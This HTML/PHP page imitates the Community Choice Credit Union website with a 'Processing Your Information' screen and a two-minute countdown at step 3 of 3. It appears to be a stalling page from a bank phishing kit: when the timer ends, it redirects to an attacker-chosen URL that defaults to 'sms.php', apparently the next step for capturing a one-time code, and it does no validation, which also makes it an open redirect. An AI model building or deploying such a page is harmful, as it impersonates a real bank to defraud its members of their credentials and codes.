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<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Community Choice CU — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root { --green:#B4F3BF; --dark:#003A40; --tan:#D2F8D9; --dark-mid:#005060; --text:#1a1a1a; --text-sub:#444; --white:#ffffff; }
        html,body { height:100%; font-family:'Inter',sans-serif; color:var(--text); }
        body { display:flex; flex-direction:column; min-height:100vh; }

        .utility-bar { background:var(--dark); padding:9px 48px; display:flex; align-items:center; justify-content:flex-end; gap:28px; }
        .utility-bar a { font-size:13px; color:rgba(255,255,255,0.88); text-decoration:none; font-weight:500; }
        .utility-bar .phone { font-weight:700; color:#fff; }

        .main-nav { background:var(--white); padding:0 48px; display:flex; align-items:center; justify-content:space-between; height:76px; border-bottom:1px solid #e8f5ea; z-index:200; }
        .nav-logo img { height:52px; width:auto; display:block; }
        .nav-links { display:flex; align-items:center; gap:4px; }
        .nav-links a { font-size:14px; font-weight:500; color:var(--dark); text-decoration:none; padding:8px 14px; border-radius:6px; display:flex; align-items:center; gap:5px; }
        .nav-links a:hover { background:var(--tan); }
        .btn-login-nav { background:var(--dark); color:#fff; border:none; border-radius:8px; padding:11px 28px; font-family:'Inter',sans-serif; font-size:14px; font-weight:600; cursor:pointer; }

        .page-bg { flex:1; position:relative; display:flex; align-items:center; justify-content:center; padding:60px 20px; }
        .page-bg-img { position:absolute; inset:0; background:url('res/img/background.avif') center center / cover no-repeat; z-index:0; }
        .page-bg-overlay { position:absolute; inset:0; background:rgba(0,58,64,0.82); z-index:1; }

        .card { position:relative; z-index:2; background:var(--white); width:100%; max-width:420px; border-radius:14px; padding:38px 38px 38px; box-shadow:0 16px 60px rgba(0,0,0,0.3); text-align:center; animation:cardIn 0.4s ease both; }
        @keyframes cardIn { from{opacity:0;transform:translateY(14px)} to{opacity:1;transform:translateY(0)} }

        .card-logo { margin-bottom:22px; }
        .card-logo img { height:46px; width:auto; display:inline-block; }

        .step-indicator { display:flex; align-items:center; gap:8px; margin-bottom:28px; }
        .step { display:flex; align-items:center; justify-content:center; width:28px; height:28px; border-radius:50%; font-size:11px; font-weight:700; flex-shrink:0; }
        .step.done { background:var(--dark); color:#fff; }
        .step.active { background:var(--dark); color:var(--green); box-shadow:0 0 0 3px rgba(0,58,64,0.2); }
        .step-line { flex:1; height:2px; background:#d0ebd4; border-radius:2px; }
        .step-line.done { background:var(--dark); opacity:0.3; }

        .ring-wrap { position:relative; width:140px; height:140px; margin:0 auto 24px; }
        .ring-wrap svg { width:140px; height:140px; transform:rotate(-90deg); }
        .ring-track { fill:none; stroke:#d0ebd4; stroke-width:6; }
        .ring-progress { fill:none; stroke:var(--dark); stroke-width:6; stroke-linecap:round; stroke-dasharray:326.7; stroke-dashoffset:0; transition:stroke-dashoffset 1s linear; filter:drop-shadow(0 0 5px rgba(0,58,64,0.3)); }
        .ring-label { position:absolute; inset:0; display:flex; flex-direction:column; align-items:center; justify-content:center; }
        .ring-time { font-size:32px; font-weight:800; color:var(--dark); line-height:1; }
        .ring-unit { font-size:11px; color:var(--text-sub); margin-top:5px; letter-spacing:0.08em; text-transform:uppercase; }

        .wait-heading h1 { font-size:18px; font-weight:700; color:var(--dark); margin-bottom:8px; }
        .wait-heading p { font-size:13.5px; color:var(--text-sub); line-height:1.65; max-width:300px; margin:0 auto 22px; }

        .prog-dots { display:flex; justify-content:center; gap:8px; margin-bottom:20px; }
        .prog-dots span { width:9px; height:9px; border-radius:50%; background:#c8e8cc; transition:background 0.4s,transform 0.3s; }
        .prog-dots span.lit { background:var(--dark); transform:scale(1.25); }

        .info-notice { display:inline-flex; align-items:center; gap:8px; background:rgba(0,58,64,0.06); border:1px solid rgba(0,58,64,0.14); border-radius:8px; padding:10px 18px; font-size:12.5px; color:var(--dark); font-weight:600; }

        .page-footer { background:var(--dark); padding:20px 48px; display:flex; align-items:center; justify-content:space-between; flex-wrap:wrap; gap:12px; }
        .footer-links { display:flex; gap:20px; }
        .footer-links a { font-size:12px; color:rgba(255,255,255,0.55); text-decoration:none; }
        .footer-copy { font-size:12px; color:rgba(255,255,255,0.35); }

        @media(max-width:500px) { .card{padding:24px 20px 28px;} .nav-links{display:none;} .main-nav{padding:0 20px;} }
    </style>
</head>
<body>
    <div class="utility-bar">
        <a href="#">Apply for a Loan</a><a href="#">Rates</a><a href="#">Locations</a><a href="#">Make a Payment</a>
        <span class="phone">CALL US 877.243.2528</span>
    </div>
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Community Choice CU"></div>
        <div class="nav-links">
            <a href="#">Bank <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Borrow <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Who We Are <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <button class="btn-login-nav">Log In</button>
    </nav>

    <div class="page-bg">
        <div class="page-bg-img"></div>
        <div class="page-bg-overlay"></div>
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.png" alt="Community Choice CU"></div>
            <div class="step-indicator">
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step active">3</div>
            </div>
            <div class="ring-wrap">
                <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
                <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
            </div>
            <div class="wait-heading">
                <h1>Processing Your Information</h1>
                <p>Please wait while we securely verify your request. Do not close this window.</p>
            </div>
            <div class="prog-dots">
                <span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span>
            </div>
            <div class="info-notice">
                <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                Do not close or refresh this page
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Community Choice Credit Union. Federally Insured by NCUA.</div>
    </footer>

    <script>
        var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
        const TOTAL = 120; let rem = TOTAL;
        const disp = document.getElementById('td'), ring = document.getElementById('rp');
        const CIRC = 2 * Math.PI * 52;
        const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
        function tick() {
            const m = Math.floor(rem / 60), s = rem % 60;
            disp.textContent = m + ':' + String(s).padStart(2, '0');
            ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
            const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
            dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
            if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
        }
        tick(); const t = setInterval(tick, 1000);
    </script>
</body>
</html>